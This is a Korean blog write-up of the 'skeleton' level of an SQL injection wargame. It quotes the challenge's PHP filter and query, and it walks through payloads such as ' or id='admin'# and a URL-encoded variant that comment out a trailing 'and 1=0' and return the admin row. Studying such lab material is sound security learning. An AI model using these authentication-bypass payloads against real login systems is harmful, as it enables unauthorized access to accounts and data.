티스토리 뷰

728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

GET 파라미터로 입력받은 pw 값에 대한 필터링으로는 prob 이라는 문자열이 포함되거나 _(언더바), .(온점), (, ) 와 같은 괄호들이 포함되면 안된다고 합니다.

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("skeleton");

query문을 살펴보니 우리가 입력한 pw가 where 절에서 and 와 and 사이에 들어가있습니다. 그리고 문제는 query 문의 결과가 admin 아이디어야 해결된다고 하네요.

 

특이한 점은 and 1=0 입니다. 무조건 거짓으로 만드는 문장인데요. 그렇기 때문에 id='admin' 인 아이디를 찾기 위해서 and 1=0 은 제거해줄 필요가 있겠습니다. 풀이법은 다음과 같이 여러 방법으로 할 수 있겠는데요.

pw=' or id='admin'#
pw='||id='admin'-- -

저는 위와 같은 방법으로 풀 수 있었습니다. 주석처리를 이용하여 뒤의 and 1=0 은 제거 해주고, 앞의 id='admin' 에서 True(참) 값으로 만들어줬습니다. 그러면 최종적으로 아래와 같이 되어 문제가 풀립니다.

select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0
select id from prob_skeleton where id='guest' and pw=''||id='admin'-- -' and 1=0

id='guest' and pw='' 구문은 먼저 거짓이 되겠습니다. 그리고 뒤의 or 를 이은 id='admin'# 구문은 무조건 참이 되어 select query 문은 id가 admin 인 레코드를 찾게 될 것입니다.

 

이 문제를 풀 때 주의해야할 점으로는 주석처리를 어떻게 하는 가인 것 같습니다.

 

# 주석의 경우에는 URL 인코딩해서 %23 으로 처리해줘야 합니다. 왜냐하면 #의 경우 URL 에서는 특수한 기호로 hashtag를 의미하기 때문입니다. https://developer.mozilla.org/en-US/docs/Web/API/URL/hash 여기를 한번 참고해보세요.

 

-- 주석의 경우에는 사용법이 특이합니다. 바로 -- 기호 바로 뒤에 공백문자(스페이스)가 들어가야 한다는 점입니다. 그렇지 않으면 문법 오류로 주석으로 처리되지 않습니다. 위 예시에서 -- - 라고 한 것도 공백을 포함시키기 위해서 사용한 것입니다. URL 에서 공백을 표시하기 위해서는 URL 인코딩된 문자로 %20 을 사용해야 합니다. 단순히 URL의 맨 마지막에 스페이스를 한다고 해서 브라우저에서 그것을 공백으로 표현하지 않고 text.strip()을 해버립니다. 그렇기 때문에 브라우저에게 확실한 공백문자를 표현하기 위해서는 %20 이라는 URL 인코딩된 문자를 넣거나 -- - 과 같은 확실한 공백을 포함한 문자열을 넣어주는 것이 좋겠습니다. %20을 넣은 예시만 한번 보여드리고 끝내겠습니다.

pw=%27||id=%27admin%27--%20

위와 같이 URL 인코딩하여 pw 파라미터를 작성해준다면 아래와 같은 결과가 만들어집니다.

select id from prob_skeleton where id='guest' and pw=''||id='admin'-- ' and 1=0

그리고 아래와 같이 문제는 해결됩니다.

728x90
반응형
댓글